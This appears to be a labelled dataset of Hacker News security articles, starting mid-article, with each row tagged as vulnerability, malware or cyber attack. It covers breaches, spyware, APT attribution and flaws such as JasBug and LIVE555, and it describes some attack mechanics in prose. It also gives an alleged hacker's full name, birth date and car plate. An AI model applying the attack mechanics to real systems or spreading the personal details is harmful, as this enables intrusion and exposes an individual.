However, Google assured its users that the company found no evidence that any developer was aware of this bug, or that the profile data was misused by any of the 438 developers that could have had access.
""However, we ran a detailed analysis over the two weeks prior to patching the bug, and from that analysis, the Profiles of up to 500,000 Google+ accounts were potentially affected. Our analysis showed that up to 438 applications may have used this API,"" Google said in blog post published today.
The vulnerability was open since 2015 and fixed after Google discovered it in March 2018, but the company chose not to disclose the breach to the public—at the time when Facebook was being roasted for Cambridge Analytica scandal.

Though Google has not revealed the technical details of the security vulnerability, the nature of the flaw seems to be something very similar to Facebook API flaw that recently allowed unauthorized developers to access private data from Facebook users.

Besides admitting the security breach, Google also announced that the company is shutting down its social media network, acknowledging that Google+ failed to gain broad adoption or significant traction with consumers.
""The consumer version of Google+ currently has low usage and engagement: 90 percent of Google+ user sessions are less than five seconds,"" Google said.
In response, the company has decided to shut down Google+ for consumers by the end of August 2019. However, Google+ will continue as a product for Enterprise users.

Google Introduces New Privacy Controls Over Third-Party App Permissions

As part of its ""Project Strobe,"" Google engineers also reviewed third-party developer access to Google account and Android device data; and has accordingly now introduced some new privacy controls.

When a third-party app prompts users for access to their Google account data, clicking ""Allow"" button approves all requested permissions at once, leaving an opportunity for malicious apps to trick users into giving away powerful permissions.
But now Google has updated its Account Permissions system that asks for each requested permission individually rather than all at once, giving users more control over what type of account data they choose to share with each app.

Since APIs can also allow developers to access users' extremely sensitive data, like that of Gmail account, Google has limited access to Gmail API only for apps that directly enhance email functionality—such as email clients, email backup services and productivity services.

Google shares fell over 2 percent to $1134.23 after the data breach reports.

",Vulnerability
'Exodus' Surveillance Malware Found Targeting Apple iOS Users,https://thehackernews.com/2019/04/exodus-ios-malware.html,"Cybersecurity researchers have discovered an iOS version of the powerful mobile phone surveillance app that was initially targeting Android devices through apps on the official Google Play Store.

Dubbed Exodus, as the malware is called, the iOS version of the spyware was discovered by security researchers at LookOut during their analysis of its Android samples they had found last year.

Unlike its Android variant, the iOS version of Exodus has been distributed outside of the official App Store, primarily through phishing websites that imitate Italian and Turkmenistani mobile carriers.

Since Apple restricts direct installation of apps outside of its official app store, the iOS version of Exodus is abusing the Apple Developer Enterprise program, which allows enterprises to distribute their own in-house apps directly to their employees without needing to use the iOS App Store.

""Each of the phishing sites contained links to a distribution manifest, which contained metadata such as the application name, version, icon, and a URL for the IPA file,"" the researchers say in a blog post.

""All these packages used provisioning profiles with distribution certificates associated with the company Connexxa S.R.L.""

Though the iOS variant is less sophisticated than its Android counterpart, the spyware can still be able to exfiltrate information from targeted iPhone devices including, contacts, audio recordings, photos, videos, GPS location, and device information.

The stolen data is then transmitted via HTTP PUT requests to an endpoint on the attackers controlled command and control server, which is the same CnC infrastructure as the Android version and uses similar communications protocols.

Several technical details indicated that Exodus was ""likely the product of a well-funded development effort"" and aimed to target the government or law-enforcement sectors.

""These included the use of certificate pinning and public key encryption for C2 communications, geo-restrictions imposed by the C2 when delivering the second stage, and the comprehensive and well-implemented suite of surveillance features,"" the researchers say.

Developed by Italy-based company called Connexxa S.R.L., Exodus came to light late last month when white hat hackers from Security Without Borders discovered nearly 25 different apps disguised as service applications on Google Play Store, which the tech giant removed after being notified.

Under development for at least five years, Exodus for Android usually consists of three distinct stages. First, there is a small dropper that collected basic identifying information, like the IMEI and phone number, about the targeted device.

The second stage consists of multiple binary packages that deploy a well-implemented suite of surveillance functionalities.

Finally, the third stage uses the infamous DirtyCOW exploit (CVE-2016-5195) to gain root control over the infected phones. Once successfully installed, Exodus can carry out an extensive amount of surveillance.

The Android variant is also designed to keep running on the infected device even when the screen is switched off.

While the Android version of Exodus had potentially infected ""several hundreds if not a thousand or more"" devices, it's not clear how many iPhones were infected by the iOS Exodus variant.

After being notified of the spyware by the Lookout researchers, Apple revoked the enterprise certificate, preventing malicious apps from being installed on new iPhones and run on infected devices.

This is the second instance in the past year when an Italian software company has been caught distributing spyware. Earlier last year, another undisclosed Italian firm was found distributing ""Skygofree,"" a dangerous Android spying tool that gives hackers full control of infected devices remotely.

",Malware
"Real Identity of Hacker Who Sold LinkedIn, Dropbox Databases Revealed",https://thehackernews.com/2018/11/tessa88-russian-hacker.html,"The real identity of Tessa88—the notorious hacker tied to several high-profile cyber attacks including the LinkedIn, DropBox and MySpace mega breaches—has been revealed as Maksim Vladimirovich Donakov (Максим Владимирович Донаков), a resident of Penza, Russian Federation.

In early 2016, a hacker with pseudonym Tessa88 emerged online offering stolen databases from some of the biggest social media websites in the world, including LinkedIn, MySpace, VKontakte (vk.com), Dropbox, Rambler, and Twitter, for sale in various underground hacking forums.

The stolen data, taken years ago from several social media sites, included more than half a billion username and password combinations, which were then used in phishing, account takeover, and other cyber attacks.

Though Tessa88's profile was active for a few months between February and May 2016, the OPSEC analysis revealed that the same person was involved in various cybercriminal activities since as early as 2012 under different aliases including ""Paranoy777,"" ""tarakan72511,"" ""stervasgoa,"" ""janer93"" and ""Daykalif.""

Unmasking ""Tessa88""

Researchers with US-based threat intelligence firm Recorded Future's Insikt Group used a combination of their own data, dark web activity, multiple chats and email accounts associated with Tessa88 to find a connection between his other online aliases, and collected information from publicly available sources to unveil his true identity.

Tarakan72511 → Tessa88 → Donakov

Researchers identified an online account ""tarakan72511"" on Imgur, a popular online image sharing service, who posted screenshots of discussions regarding the Yahoo and Equifax breaches. On the same account Tarakan72511 also posted his real picture titled ""tessa88"" in 2017, which links Donakov with tarakan72511 and tessa88.

Tessa88 → Donakov with Guy Fawkes mask

Another member of an underground forum, TraX, shared a photo of Tessa88, showing a man on the car roof with his face hidden behind Guy Fawkes mask, whose body type and hairstyle resemble with the picture of Tessa88 posted by tarakan72511.

Tarakan72511 → Russian Car with Guy Fawkes mask → Tessa88

Researchers also identified a YouTube account with a similar username—Tarakan72511 Donakov—who posted a video showing someone feeding stray dogs. The video also revealed a style Guy Fawkes mask (same as worn in the picture posted by TraX) in the boot of a Mitsubishi Lancer car with the registration number K652BO 58.

All Evidences Leads to Maksim Vladimirovich Donakov

After exploring several confidential sources, Penza records, and Russian crime database, researchers find Tessa88 as Maksim Vladimirovich Donakov (date of birth: 02/07/1989), whose persona matches with the YouTube username 'Donakov,' Mitsubishi Lancer and person revealed in Imgur picture.

Maksim Vladimirovich Donakov committed several crimes in Russia, including a car accident while driving a Mitsubishi Lancer in 2017. He also served jail time after committing another crime in 2014.

After the comprehensive investigation, Recorded Future, with a ""high degree of confidence, concluded that Donakov is the man behind the sale of the extensive databases, including 32 million Twitter accounts, 360 million Myspace credentials, and 500 million Yahoo accounts.

It is also believed that Donakov have sold data stolen from VKontakte (vk.com), Mobango, Badoo, QIP, and Rambler on various underground forums.

At the time of a series of so-called 'mega breaches' in 2016, another online alias that came up was Peace_of_Mind — a separate hacker who was seen selling 117 Million LinkedIn emails and passwords and 200 million Yahoo accounts in 2016 on the currently defunct TheRealDeal Market.

According to Recorded Future, Tessa88 and Peace_of_Mind made an agreement in May 2016 on sharing some of the stolen databases in a ""likely attempt to expedite monetizing the massive amount of data between the two.""

The LinkedIn breach resulted in the arrest of Russian national Yevgeniy Nikulin (Евгений Никулин) in October 2016 by the FBI in the Czech Republic, who was later extradited to the United States. However, until today, no clear evidence links Nikulin to Peace_of_Mind.

It should be noted that neither Tessa88 nor Peace_of_Mind was the actual hacker who breached the aforementioned companies. Both were involved in the selling of the already stolen databases, but not in performing the actual hacks, though the exact methods used to steal the databases are also unknown.

Recorded Future hopes that the upcoming criminal case of Nikulin, who is now also a person of ""great interest"" in the US probe of Russia's meddling in the US presidential election, will shed some light on the gaps in the story.

",Cyber_Attack
New OpenSMTPD RCE Flaw Affects Linux and OpenBSD Email Servers,https://thehackernews.com/2020/02/opensmtpd-email-vulnerability.html,"OpenSMTPD has been found vulnerable to yet another critical vulnerability that could allow remote attackers to take complete control over email servers running BSD or Linux operating systems.

OpenSMTPD, also known as OpenBSD SMTP Server, is an open-source implementation of the Simple Mail Transfer Protocol (SMTP) to deliver messages on a local machine or to relay them to other SMTP servers.

It was initially developed as part of the OpenBSD project but now comes pre-installed on many UNIX-based systems.

Discovered by experts at Qualys Research Labs, who also reported a similar RCE flaw in the email server application last month, the latest out-of-bounds read issue, tracked as CVE-2020-8794, resides in a component of the OpenSMTPD's client-side code that was introduced nearly 5 years ago.

Just like the previous issue, which attackers started exploiting in the wild just a day after its public disclosure, the new OpenSMTPD flaw could also let remote hackers execute arbitrary commands on the vulnerable servers with privileges of either root or any non-root user.


As described in the screenshot of the advisory, the flaw can be exploited by a local or remote attacker in two ways by sending specially crafted SMTP messages, one works in the default configuration, and the second leverages email bounce mechanism.

""We developed a simple exploit for this vulnerability and successfully tested it against OpenBSD 6.6 (the current release), OpenBSD 5.9 (the first vulnerable release), Debian 10 (stable), Debian 11 (testing), and Fedora 31,"" the advisory says.

""We tested our exploit against the recent changes in OpenSMTPD 6.6.3p1, and our results are: if the ""mbox"" method is used for local delivery (the default in OpenBSD -current), then arbitrary command execution as root is still possible; otherwise (if the ""maildir"" method is used, for example), arbitrary command execution as any non-root user is possible.""

However, the Qualys team has decided to withhold the exploitation details and exploit code until 26th February, giving vulnerable OpenSMTPD's users a two-day window to patch their systems.

If you're also running BSD or Linux servers with a vulnerable version of the OpenSMTPD, you're advised to download OpenSMTPD 6.6.4p1 and apply the patch as soon as possible.
",Vulnerability
Operator of VirusTotal Like Malware-Scanning Service Jailed for 14 Years,https://thehackernews.com/2018/09/scan4you-malware-scanner.html,"A Latvian hacker behind the development and operation of counter antivirus service ""Scan4You"" has finally been sentenced to 14 years in prison.

37-year-old Ruslans Bondars, described as a Latvian ""non-citizen"" or ""citizen of the former USSR who had been residing in Riga, Latvia,"" was found guilty on May 16 in federal court in Alexandria, during which a co-conspirator revealed he had worked with Russian law enforcement.

Bondars created and ran Scan4you—a VirusTotal like online multi-engine antivirus scanning service that allowed hackers to run their code by several popular antiviruses to determine if their computer virus or malware would be flagged during routine security scans before launching them into a real-world malware campaign.

While legal scanning services share data about uploaded files with the antivirus firms, Scan4you instead informed its users that they could ""upload files anonymously and promised not to share information about the uploaded files with the antivirus community.""

Bondars was one of the two hackers found to have been running Scan4you from 2009 to 2016 and helping other malware authors test and improve the malware they then ""used to inflict hundreds of millions of dollars in losses on American companies and consumers.""

Bondars' partner Jurijs Martisevs, who was also arrested while on a trip to Latvia and extradited to the United States, pleaded guilty to similar charges back in March this year.
According to the Justice Department press release, Scan4you customers used the service to steal millions of payment cards from retail stores across the world, including the United States, which led to some $20.5 billion in losses.

For instance, one Scan4you customer used the service to test malware that was subsequently used to steal approximately 40 million credit and debit card numbers, and other personal information from a US retail store, causing $292 million in losses.

Another customer used Scan4you to assist the development of ""Citadel""—a widely used malware strain that infected over 11 million computers worldwide, including in the United States and resulted in over $500 million in fraud-related losses.

""Ruslans Bondars helped malware developers attack American businesses,"" said Assistant Attorney General Benczkowski. ""The Department of Justice and its law enforcement partners make no distinction between service providers like Scan4You and the hackers they assist: we will hold them accountable for all of the significant harm they cause and work tirelessly to bring them to justice, wherever they may be located.""

Bondars was convicted of three counts, including conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to commit wire fraud, and computer intrusion with intent to cause damage and was sentenced to 168 months in prison on Friday.

Although US court never charged Bondars with direct involvement in any hacking, court documents show he used malware to rob online users and trick them into buying antivirus services they did not need.

Moreover, prosecutors also say Scan4You was an ""innovation"" in malware that has inspired many copycats, which resulted in such services being readily available on the Internet.
",Malware
FBI issues alert over two new malware linked to Hidden Cobra hackers,https://thehackernews.com/2018/05/north-korean-hacker-hidden-cobra.html,"The US-CERT has released a joint technical alert from the DHS and the FBI, warning about two newly identified malware being used by the prolific North Korean APT hacking group known as Hidden Cobra.

Hidden Cobra, often known as Lazarus Group and Guardians of Peace, is believed to be backed by the North Korean government and known to launch attacks against media organizations, aerospace, financial and critical infrastructure sectors across the world.

The group was even associated with the WannaCry ransomware menace that last year shut down hospitals and businesses worldwide. It is reportedly also linked to the 2014 Sony Pictures hack, as well as the SWIFT Banking attack in 2016.

Now, the Department of Homeland Security (DHS) and the FBI have uncovered two new pieces of malware that Hidden Cobra has been using since at least 2009 to target companies working in the media, aerospace, financial, and critical infrastructure sectors across the world.

The malware Hidden Cobra is using are—Remote Access Trojan (RAT) known as Joanap and Server Message Block (SMB) worm called Brambul. Let's get into the details of both the malware one by one.

Joanap—A Remote Access Trojan

According to the US-CERT alert, ""fully functional RAT"" Joanap is a two-stage malware that establishes peer-to-peer communications and manages botnets designed to enable other malicious operations.

The malware typically infects a system as a file delivered by other malware, which users unknowingly download either when they visit websites compromised by the Hidden Cobra actors, or when they open malicious email attachments.

Joanap receives commands from a remote command and control server controlled by the Hidden Cobra actors, giving them the ability to steal data, install and run more malware, and initialize proxy communications on a compromised Windows device.

Other functionalities of Joanap include file management, process management, creation and deletion of directories, botnet management, and node management.

During analysis of the Joanap infrastructure, the U.S. government has found the malware on 87 compromised network nodes in 17 countries including Brazil, China, Spain, Taiwan, Sweden, India, and Iran.

Brambul—An SMB Worm

Brambul is a brute-force authentication worm that like the devastating WannaCry ransomware, abuses the Server Message Block (SMB) protocol in order to spread itself to other systems.

The malicious Windows 32-bit SMB worm functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims' networks by dropper malware.
""When executed, the malware attempts to establish contact with victim systems and IP addresses on victims' local subnets,"" the alert notes.
""If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.""
Once Brambul gains unauthorized access to the infected system, the malware communicates information about victim's systems to the Hidden Cobra hackers using email. The information includes the IP address and hostname—as well as the username and password—of each victim's system.

The hackers can then use this stolen information to remotely access the compromised system via the SMB protocol. The actors can even generate and execute what analysts call a ""suicide script.""

DHS and FBI have also provided downloadable lists of IP addresses with which the Hidden Cobra malware communicates and other IOCs, to help you block them and enable network defenses to reduce exposure to any malicious cyber activity by the North Korean government.

DHS also recommended users and administrators to use best practices as preventive measures to protect their computer networks, like keeping their software and system up to date, running Antivirus software, turning off SMB, forbidding unknown executables and software applications.

Last year, the DHS and the FBI published an alert describing Hidden Cobra malware, called Delta Charlie—a DDoS tool which they believed North Korea uses to launch distributed denial-of-service (DDoS) attacks against its targets.

Other malware linked to Hidden Cobra in the past include Destover, Wild Positron or Duuzer, and Hangman with sophisticated capabilities, like DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware.

",Cyber_Attack
Critical Code Execution Flaw Found in LIVE555 Streaming Library,https://thehackernews.com/2018/10/critical-flaw-found-in-streaming.html,"Security researchers have discovered a serious code execution vulnerability in the LIVE555 streaming media library—which is being used by popular media players, along with a number of embedded devices capable of streaming media.

LIVE555 streaming media, developed and maintained by Live Networks, is a set of C++ libraries companies and application developers use to stream multimedia over open standard protocols like RTP/RTCP, RTSP or SIP.

The LIVE555 streaming media libraries support streaming, receiving, and processing of various video formats such as MPEG, H.265, H.264, H.263+, VP8, DV, and JPEG video, and several audio codecs such as MPEG, AAC, AMR, AC-3, and Vorbis.

UPDATE: LIVE555 streaming media library supports both server and client, and is internally being used by many well-known media software such as VLC and MPlayer, security researchers at Talos mentioned in the advisory.
Though researchers didn't specify if the vulnerable component (a server-side library) is being used by the popular VLC player, team at VLC today contacted THN and clarified that their media player application is using LIVE555 streaming media at the client-side only.

The code execution vulnerability, tracked as CVE-2018-4013 and discovered by researcher Lilith Wyatt of Cisco Talos Intelligence Group, resides in the HTTP packet-parsing functionality of the LIVE555 RTSP, which parses HTTP headers for tunneling RTSP over HTTP.
""A specially crafted packet can cause a stack-based buffer overflow, resulting in code execution,"" Cisco Talos' security advisory says. ""An attacker can send a packet to trigger this vulnerability.""

To exploit this vulnerability, all an attacker needs to do is create and send ""a packet containing multiple 'Accept:' or 'x-sessioncookie' strings"" to the vulnerable application, which will trigger a stack buffer overflow in the 'lookForHeader' function, leading to arbitrary code execution.

Cisco Talos team confirmed the vulnerability in Live Networks LIVE555 Media Server version 0.92, but the team believes the security issue may also be present in the earlier version of the product.

Cisco Talos responsibly reported the vulnerability to Live Networks on October 10 and publicly disclosed the security issue on October 18 after the vendor released security patches on October 17.

",Vulnerability
US and Global Allies Accuse China of Massive Microsoft Exchange Attack,https://thehackernews.com/2021/07/us-and-global-allies-accuse-china-of.html,"The U.S. government and its key allies, including the European Union, the U.K., and NATO, formally attributed the massive cyberattack against Microsoft Exchange email servers to state-sponsored hacking crews working affiliated with the People's Republic of China's Ministry of State Security (MSS).
In a statement issued by the White House on Monday, the administration said, ""with a high degree of confidence that malicious cyber actors affiliated with PRC's MSS conducted cyber-espionage operations utilizing the zero-day vulnerabilities in Microsoft Exchange Server disclosed in early March 2021. The U.K. government accused Beijing of a ""pervasive pattern of hacking"" and ""systemic cyber sabotage.""
The sweeping espionage campaign exploited four previously undiscovered vulnerabilities in Microsoft Exchange software and is believed to have hit at least 30,000 organizations in the U.S. and hundreds of thousands more worldwide. Microsoft identified the group behind the hack as a skilled government-backed actor operating out of China named Hafnium.
Calling it ""the most significant and widespread cyber intrusion against the U.K. and allies,"" the National Cyber Security Centre (NCSC) said the attack was highly likely to enable ""acquiring personally identifiable information and intellectual property.""
In addition, the MSS was also outed as the party behind a series of malicious cyber activities tracked under the monikers ""APT40"" and ""APT31,"" with the U.K. attributing the groups for targeting maritime industries and naval defence contractors in the U.S. and Europe, and as well as for executing the attack on the Finnish parliament in 2020.
Also, on Monday, the U.S. Federal Bureau of Investigation (FBI), National Security Agency (NSA), and Cybersecurity and Infrastructure Security Agency (CISA) released a joint advisory listing over 50 tactics, techniques, and procedures employed by APT40 and other Chinese state-sponsored cyber actors.
""It has been a few months since attackers exploited the Hafnium related bugs in Exchange to deploy ransomware, like DearCry and Black Kingdom,"" Mark Loman, director of engineering at Sophos, said in an emailed statement. ""In general, to protect themselves, ransomware operators typically operate from the dark web, or via one or more compromised servers hosted in countries other than the physical location of the attackers. This makes attack attribution hard, but not impossible.""
US Indicts Members of APT 40 Chinese Hacking Group
In a related development, the U.S. Department of Justice (DoJ) pressed criminal charges against four MSS hackers belonging to the APT40 group concerning a multiyear campaign targeting foreign governments and entities in maritime, aviation, defense, education, and healthcare sectors in the least a dozen countries to facilitate the theft of trade secrets, intellectual property, and high-value information.
Separately, the NCSC also announced that a group known as ""APT10"" acted on behalf of the MSS to carry out a sustained cyber campaign focused on large-scale service providers with the goal of seeking to gain access to commercial secrets and intellectual property data in Europe, Asia, and the U.S.
""APT 10 has an enduring relationship with the Chinese Ministry of State Security, and operates to meet Chinese State requirements,"" the intelligence agency said.
In a press statement, the European Union urged Chinese authorities to take action against malicious cyber activities undertaken from its territory, stating the Microsoft Exchange server hacks resulted in security risks and significant economic loss for government institutions and private companies.
The Chinese government has repeatedly denied claims of state-sponsored intrusions. A spokesperson for the Chinese Embassy in Washington, according to the Associated Press, painted China as ""a severe victim of the U.S. cyber theft, eavesdropping, and surveillance,"" noting that the ""U.S. has repeatedly made groundless attacks and malicious smear against China on cybersecurity.""
""The PRC has fostered an intelligence enterprise that includes contract hackers who also conduct unsanctioned cyber operations worldwide, including for their own personal profit,"" the White House said, adding ""hackers with a history of working for the PRC Ministry of State Security (MSS) have engaged in ransomware attacks, cyber enabled extortion, cryptojacking, and rank theft from victims around the world, all for financial gain.""
Update: Speaking at a press conference, Zhao Lijian, a spokesperson for the Chinese Ministry of Foreign Affairs, rejected accusations that Beijing was behind the global cyber hacking campaign targeting Microsoft Exchange servers and accused the U.S. of being the world's largest source of attacks in cyberspace.
""China firmly opposes and combats all forms of cyber attacks. It will never encourage, support or condone cyber attacks. This position has been consistent and clear,"" Lijian said. ""Given the virtual nature of cyberspace and the fact that there are all kinds of online actors who are difficult to trace, it's important to have enough evidence when investigating and identifying cyber-related incidents. It requires extra prudence when linking cyber attacks with the government of any country. The so-called technical details released by the U.S. side do not constitute a complete chain of evidence.""

",Cyber_Attack
Android malware - Works on remote commands form encrypted blog,https://thehackernews.com/2011/10/android-malware-works-on-remote.html,"Android malware - Works on remote commands form encrypted blog
Researchers from Trend Micro have spotted a piece of malicious software for Android. This is the first known Android malware that reads blog posts and interprets these as commands. It can also download and install additional applications, therefore further compromising the affected device.

Trend Micro calls the malware ""ANDROIDOS_ANSERVER.A."" If the application is installed, it asks for a variety of permissions. If those are granted, it can then make calls, read log files, write and receive SMSes and access the Internet and network settings, among other functions. This backdoor may be unknowingly downloaded by a user while visiting malicious websites. It may be manually installed by a user.

""This is a blog site with encrypted content, which based on our research, is the first time Android malware implemented this kind of technique to communicate,"" wrote Karl Dominguez, a Trend Micro threat response engineer.

We recommend that users should be cautious when downloading Android applications from third party application stores due to the number of rogue applications that have been found.

",Malware
"Java-Bot, a Cross-platform malware launching DDoS attacks from infected computers",https://thehackernews.com/2014/01/java-bot-cross-platform-malware.html,"These days botnets are all over the news. In simple terms, a botnet is a group of computers networked together, running a piece of malicious software that allows them to be controlled by a remote attacker.

A major target for most of the malware is still Windows, but the growing market of Mac OS X, Linux and Smartphones, is also giving a solid reason to cyber criminals to focus.

Recently, Kaspersky Lab has detected another cross-platform Java-Bot, capable of infecting computers running Windows, Mac OS X, and Linux that has Java Runtime Environment installed.

Last year, Zoltan Balazs - CTO at MRG Effitas submitted the samples of malicious Java application for analysis to Kaspersky Lab and they identified it as HEUR:Backdoor.Java.Agent.a.

According to researchers, to compromise computers, Java-Bot is exploiting a previously known critical Java vulnerability CVE-2013-2465 that was patched in last June. The vulnerability persists in Java 7 u21 and earlier versions.
CVE-2013-2465 description says:
An unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK 7, allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to 2D.
Once the bot has infected a computer, for automatic initialization the malware copies itself into the home directory, and registers itself with system startup programs. The Malware is designed to launch distributed denial-of-service (DDOS) attacks from infected computers.

It uses the following methods to start it based on the target operating system:
For Windows – HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Mac OS – the standard Mac OS service launch is used
For Linux – /etc/init.d/
The malware authors used Zelix Klassmaster Obfuscator (encryption) to make the analysis more difficult. It creates a separate key for the classes developed due to which analysis of all classes has to be done to get the decryption keys.
The botnet executable contains an encrypted configuration file for the Mac OS 'launchd service'. It also encrypts internal working methodology of malware.

The malware uses PricBot an open framework for implementing communication via IRC. Zombie computers, then report to an Internet relay chat (IRC) channel that acts as a Command-and-control server.

The Botnet supports HTTP, UDP protocols for flooding (DDoS attack) a target whose details i.e. Address, port number, attack duration, number of threads to be used are received from the IRC channel.

Users should update their Java software to the latest release of Java 7 update 51 of 14 January 2014, can be found on Oracle's Java website. The next scheduled security update for Java is on 14 April 2014.

",Malware
15-Year-Old JasBug Vulnerability Affects All Versions of Microsoft Windows,https://thehackernews.com/2015/02/jasbug-windows-vulnerability.html,"Microsoft just issued a critical patch to fix a 15-year-old vulnerability that could be exploited by hackers to remotely hijack users' PCs running all supported versions of Windows operating system.

The critical vulnerability — named ""JASBUG"" by the researcher who reported the flaw — is due to a flaw in the fundamental design of Windows that took Microsoft more than 12 months to release a fix. However, the flaw is still unpatched in Windows Server 2003, leaving the version wide open to the hackers for the remaining five months.

HACKERS CAN EASILY HIJACK YOUR WINDOWS MACHINE
The vulnerability (CVE-2015-0008) could allow an attacker to easily hijack a domain-configured Windows system if it is connected to a malicious network – wirelessly or wired, giving attacker consent to do various tasks including, to go forth and install programs; delete, alter or peruse users' data; or to create new accounts with full user rights.

However, Jasbug vulnerability do not affects home users because they are not usually domain-configured, but the bug is a massive discomfort for IT pros who typically connect to business, corporate, or government networks using the Active Directory service.

The vulnerability, classified as MS15-011, allows hackers who are in a position to monitor traffic passing between the user and the Active Directory network to launch a Man-in-the-Middle (MitM) attack in order to execute malicious code on vulnerable systems.

AFFECTED WINDOWS VERSIONS
Windows Vista
Windows 7
Windows 8
Windows RT
Windows 8.1
Windows RT 8.1
Windows Server 2003
Windows Server 2008
Windows Server 2008 R2
Windows Server 2012
Windows Server 2012 R2
HOW JASBUG WORKS
Microsoft, on its blog post, provided the following example of how a malicious hacker could exploit the Jasbug vulnerability on a machine connected over open Wi-Fi at a coffee shop:
This is an example of a 'coffee shop' attack scenario, where an attacker would attempt to make changes to a shared network switch in a public place and can direct the client traffic an attacker-controlled system.
In this scenario, the attacker has observed traffic across the switch and found that a specific machine is attempting to download a file located at the UNC path: \\10.0.0.100\Share\Login.bat .
On the attacker machine, a share is set up that exactly matches the UNC path of the file requested by the victim: \\*\Share\Login.bat.
The attacker will have crafted the contents of Login.bat to execute arbitrary, malicious code on the target system. Depending on the service requesting Login.bat, this could be executed as the local user or as the SYSTEM account on the victim's machine.
The attacker then modifies the ARP table in the local switch to ensure that traffic intended for the target server 10.0.0.100 is now routed through to the attacker's machine.
When the victim's machine next requests the file, the attacker's machine will return the malicious version of Login.bat. This scenario also illustrates that this attack cannot be used broadly across the internet – an attacker need to target a specific system or group of systems that request files with this unique UNC.
MORE PATCHES TO APPLY
In addition to Jasbug vulnerability, Microsoft released two other security updates that are rated critical, both with the potential to allow remote code execution on a vulnerable machine.
MS15-009: The update patches 41 reported vulnerabilities, one publicly disclosed flaw and 40 privately reported vulnerabilities, in Internet Explorer affecting all versions of the browser from version 6 and above on all operating systems.
MS15-010: This security update patches six vulnerabilities, one publicly disclosed flaw and remaining reported privately, in Windows 7 and above, and server software after Windows Server 2008 R2 and later editions. The vulnerabilities are due to the way a Windows kernel-level component handles TrueType fonts.
The remaining six patches in Microsoft's February Patch update are all rated ""important"" by Redmond. Two vulnerabilities in Microsoft Office could allow RCE and security feature bypass, and bugs in Windows that could allow elevation of privilege, security feature bypass and information disclosure. Also a vulnerability in Virtual Machine Manager (VMM) could give an attacker elevated privileges.

",Vulnerability
CA security finds Android Trojan which records phone calls,https://thehackernews.com/2011/08/ca-security-finds-android-trojan-which.html,"CA security finds Android Trojan which records phone calls

A new Android Trojan is capable of recording phone conversations, according to a CA security researcher. The trojan is triggered when the Android device places or receives a phone call. It saves the audio file and related information to the phone's microSD card, and includes a configuration file with information on a remote server and settings used by the trojan.

The malware also ""drops a 'configuration' file that contains key information about the remote server and the parameters,"" CA security researcher Dinesh Venkatesan writes in a blog, perhaps suggesting that the recorded calls can be uploaded to a server maintained by an attacker.

According to the post, the trojan presents itself as an ""Android System Message"" that requires users to press an ""Install"" button for it to insert itself in the phone. Once installed, the trojan records all incoming and outgoing calls to a directory on the microSD card as .amr files, as well as information about the call, including its duration, in a text file.

Venkatesan tested the Trojan in ""a controlled environment with two mobile emulators running along with simulated Internet services,"" and posted screenshots with the results. It appears the Trojan can only be installed if the Android device owner clicks the ""install"" button on a message that looks strikingly similar to the installation screens of legitimate applications.
""As it is already widely acknowledged that this year is the year of mobile malware, we advice the smartphone users to be more logical and exercise the basic security principles while surfing and installing any applications,"" Venkatesan writes.

",Malware
iPhone can be used as spy phone to get desktop Keystrokes,https://thehackernews.com/2011/10/iphone-can-be-used-as-spy-phone-to-get.html,"iPhone can be used as spy phone to get desktop Keystrokes
What if a hacker could log every key you typed on your PC by placing a cellphone nearby? US researchers have shown how this is possible using any smartphone available today.


At a conference in Chicago on Thursday, a group of computer researchers from Georgia Tech will report on another potential threat. The researchers have shown that the accelerometer and orientation sensor of a phone resting on a surface can be used to eavesdrop as a password is entered using a keyboard on the same surface. They were able to capture the words typed on the keyboard with as much as 80 percent accuracy.


Normally when security researchers describe spyware on smartphones, they mean malicious code that can be used to snoop on calls, or to steal the data held on mobile phones.In this case, however, researchers have described how they have put software on smartphones to spy on activity outside the phone itself - specifically to track what a user might be doing on a regular desktop keyboard nearby.


The typing detection works by ""using a smartphone accelerometer – the internal device that detects when and how the phone is tilted – to sense keyboard vibrations as you type to decipher complete sentences with up to 80% accuracy,"" according to the Institute.


""We first tried our experiments with an iPhone 3GS, and the results were difficult to read,"" said Patrick Traynor of Georgia Tech. ""But then we tried an iPhone 4, which has an added gyroscope to clean up the accelerometer noise, and the results were much better. We believe that most smartphones made in the last two years are sophisticated enough to do this attack.""

As phone technology improves, attacks via the accelerometer could become more feasible. The researchers' initial experiments used Apple's iPhone 3GS, but the phone's accelerometer lacked the necessary sensitivity. The researchers then moved to the iPhone 4, which uses a gyroscope to remove noise from the accelerometer data, and had much greater success.

""The way we see this attack working is that you, the phone's owner, would request or be asked to download an innocuous-looking application, which doesn't ask you for the use of any suspicious phone sensors,"" said Henry Carter, one of the study's co-authors . ""Then the keyboarddetection malware is turned on, and the next time you place your phone next to the keyboard , it starts listening.""

",Vulnerability
Hacker Reveals Easiest Way to Hijack Privileged Windows User Session Without Password,https://thehackernews.com/2017/03/hack-windows-user-account.html,"You may be aware of the fact that a local Windows user with system rights and permissions can reset the password for other users, but did you know that a local user can also hijack other users' session, including domain admin/system user, without knowing their passwords?

Alexander Korznikov, an Israeli security researcher, has recently demonstrated that a local privileged user can even hijack the session of any logged-in Windows user who has higher privileges without knowing that user's password, using built-in command line tools.

This trick works on almost all versions of Windows operating system and does not require any special privileges. Korznikov is himself unable to figure out if it is a Windows feature or a security flaw.

The issue discovered by Korznikov is not entirely new, as a French security researcher, namely Benjamin Delpy, detailed a similar user session hijacking technique on his blog some six years ago.

Korznikov calls the attack a ""privilege escalation and session hijacking,"" which could allow an attacker to hijack high-privileged users' session and gain unauthorized access to applications and other sensitive data.

For successful exploitation, an attacker requires physical access to the targeted machine, but using Remote Desktop Protocol (RDP) session on a hacked machine; the attack can be performed remotely as well.

Video Demonstrations and PoC Exploit Released!
Korznikov has also provided a few video demonstrations of a successful session hijacking (using Task manager, service creation, as well as command line), along with Proof-of-Concept (PoC) exploit.

